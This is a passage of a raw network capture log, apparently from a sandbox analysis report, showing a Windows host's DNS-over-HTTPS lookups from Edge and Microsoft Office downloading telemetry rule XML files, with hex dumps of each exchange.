2024-10-30 22:11:39 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 22:11:39 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8daebe0d4dec2e25-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 22:11:39 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 02 00 01 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 0c ec 00 26 11 70 72 6f 64 2d 61 74 6d 2d 77 64 73 2d 65 64 67 65 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 41 00 05 00 01 00 00 00 08 00 2a 0e 70 72 6f 64 2d 61 67 69 63 2d 63 75 2d 32 09 63 65 6e 74 72 61 6c 75 73 08 63 6c 6f 75 64 61 70 70 05 61 7a 75 72 65 c0 2c c0 82 00 06 00 01 00 00 00 3c 00 31 07 6e 73 31 2d 32 30 31 09 61 7a 75 72 65 2d 64 6e 73 c0 2c 06 6d 73 6e 68 73 74 c0 22 00 00 27 11 00 00 03 84 00 00 01 2c 00 09 3a 80 00 00 00 3c 00 00 29 04 d0 00 00 00 00 00 ef 00 0c 00 eb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcomA&prod-atm-wds-edgetrafficmanagernetA*prod-agic-cu-2centraluscloudappazure,<1ns1-201azure-dns,msnhst"',:<)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49880	172.64.41.3	443	7348	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:39 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 22:11:39 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 40 00 0c 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcom)@<
2024-10-30 22:11:39 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 22:11:39 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8daebe0d5ef56b97-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 22:11:39 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 03 00 00 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 0c 69 00 26 11 70 72 6f 64 2d 61 74 6d 2d 77 64 73 2d 65 64 67 65 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 41 00 05 00 01 00 00 00 c7 00 29 0f 70 72 6f 64 2d 61 67 69 63 2d 65 75 32 2d 32 07 65 61 73 74 75 73 32 08 63 6c 6f 75 64 61 70 70 05 61 7a 75 72 65 c0 2c c0 73 00 01 00 01 00 00 00 0a 00 04 04 98 c7 2e 00 00 29 04 d0 00 00 00 00 01 1d 00 0c 01 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcomi&prod-atm-wds-edgetrafficmanagernetA)prod-agic-eu2-2eastus2cloudappazure,s.)

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:39 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:39 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:39 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221139Z-16849878b782d4lwcu6h6gmxnw00000008c0000000005g9s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:39 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:39 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:39 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:39 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: cdbfd92d-501e-0029-317f-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221139Z-16849878b78x6gn56mgecg60qc0000000aeg00000000dn25 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:39 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:39 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:39 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:39 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 24b2bddd-501e-0016-07ca-2a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221139Z-16849878b78p49s6zkwt11bbkn00000008ag000000009rnm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 22:11:39 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:39 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:39 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:39 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 207ff7bf-701e-006f-1357-27afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221139Z-16849878b78hh85qc40uyr8sc8000000090g0000000019tx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:39 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:39 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:39 UTC	540	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:39 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: c5ab768f-801e-007b-5c7c-2ae7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221139Z-r197bdfb6b4cnxt4mv5f3apubw000000017000000000fy15 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:39 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:40 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:40 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:40 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 04bfc9b2-001e-0017-54ad-260c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221140Z-16849878b78wv88bk51myq5vxc00000008z0000000007fbg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:40 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:40 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:40 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:40 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: eff8debc-001e-0065-199c-270b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221140Z-16849878b7867ttgfbpnfxt44s00000008mg0000000008w8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:40 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:40 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:40 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:40 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: cb3ec3ab-c01e-0014-40b8-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221140Z-16849878b78tg5n42kspfr0x4800000008s0000000001hat x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:40 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:40 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:40 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:40 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 6b9dd186-401e-00ac-3778-2a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221140Z-15b8d89586fdmfsg1u7xrpfws00000000cz0000000004qh1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:40 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:40 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:40 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:40 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221140Z-16849878b78p8hrf1se7fucxk800000009mg000000000n89 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
